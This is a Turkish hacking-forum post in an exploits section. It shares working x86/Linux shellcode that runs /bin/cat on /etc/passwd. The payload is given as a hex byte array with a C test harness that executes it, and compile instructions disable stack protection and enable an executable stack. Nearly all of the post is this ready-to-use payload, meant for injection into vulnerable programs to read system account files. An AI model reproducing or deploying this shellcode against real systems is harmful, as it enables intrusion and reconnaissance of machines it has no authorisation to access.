Turkhackteam.net/org - Turkish Hacking & Security Platform  
Geri git   Turkhackteam.net/org - Turkish Hacking & Security Platform >
Turkhackteam Under Ground
> Exploitler > Bug Researchers

Bug Researchers Yeni bulunan açıklar.



x86/Linux execve("/bin/cat", ["/bin/cat", "//etc/passwd"], NULL) Shellcode

Bug Researchers

Yeni Konu aç Cevapla
 
Seçenekler
Alt 12-08-2016 11:59   #1
  • Forumdan Uzaklaştırıldı
  • Üye Bilgileri
Üyelik tarihi
07/2016
Nereden
Assembly
Mesajlar
Konular

Teşekkür (Etti): 0
Teşekkür (Aldı): 3


x86/Linux execve("/bin/cat", ["/bin/cat", "//etc/passwd"], NULL) Shellcode



#Gecmise Donus \w xd3.



Kod:
/*
 *             ::/etc/passwd Read Shellcode
 *   __author__: xd3
 *     __date__: 15/5/22
 *   __format__: ELF 32 Bit
 * __platform__: x86/Linux
 *    
 */
 
 /* Usage:
  * 
  * $ sudo gcc -fno-stack-protector -z execstack xd3.c -o xd3
  * $ ./xd3
  * ../bin/cat /etc/passwd output
  * $
  */
  
  /* In C:
   * 
   * #include <unistd.h>
   * int main() {
   *         char *argv[2] = {"/bin/cat", "//etc/passwd"};
   *         execve(argv[0], argv, NULL);
   * }
   * 
   */ 

#include <stdio.h>
#include <string.h>

const unsigned char xd3[] = \
"\xeb\x1d\x59\x31\xc0"
"\x89\xc2\x50\x83\xc0"
"\x0a\x40\x68\x2f\x63"
"\x61\x74\x68\x2f\x62"
"\x69\x6e\x89\xe3\x52"
"\x51\x53\x89\xe1\xcd"
"\x80\xe8\xde\xff\xff"
"\xff\x2f\x2f\x65\x74"
"\x63\x2f\x70\x61\x73"
"\x73\x77\x64";

int main(){ 
    printf("[~] Byte-Code Len: %d\n", strlen(xd3));
    int (*sh3llc0de)();
    sh3llc0de = (int (*)()) xd3;
    (int)(*sh3llc0de)();
}

Konu 22a02 tarafından (12-08-2016 12:02 Saat 12:02 ) değiştirilmiştir..
 Offline  
 
Alıntı ile Cevapla
Cevapla

Bookmarks

Seçenekler


Bilgilendirme Turkhackteam.net/org
Sitemizde yer alan konular üyelerimiz tarafından paylaşılmaktadır.
Bu konular yasalara uygunluk ve telif hakkı konusunda yönetimimiz tarafından kontrol edilse de, gözden kaçabilen içerikler yer alabilmektedir.
Bu tür konuları turkhackteamiletisim [at] gmail.com mail adresimize bildirebilirsiniz, konular hakkında en kısa sürede gerekli işlemler yapılacaktır.
Please Report Abuse, DMCA, Harassment, Scamming, Warez, Crack, Divx, Mp3 or any Illegal Activity to turkhackteamiletisim [at] gmail.com

Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz.
Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.



         

Powered by vBulletin® Copyright ©2000 - 2019

TSK Mehmetçik Vakfı

Türk Polis Teşkilatını Güçlendirme Vakfı

Google+
Pomeranian Boo
instagram takipci hilesi

wau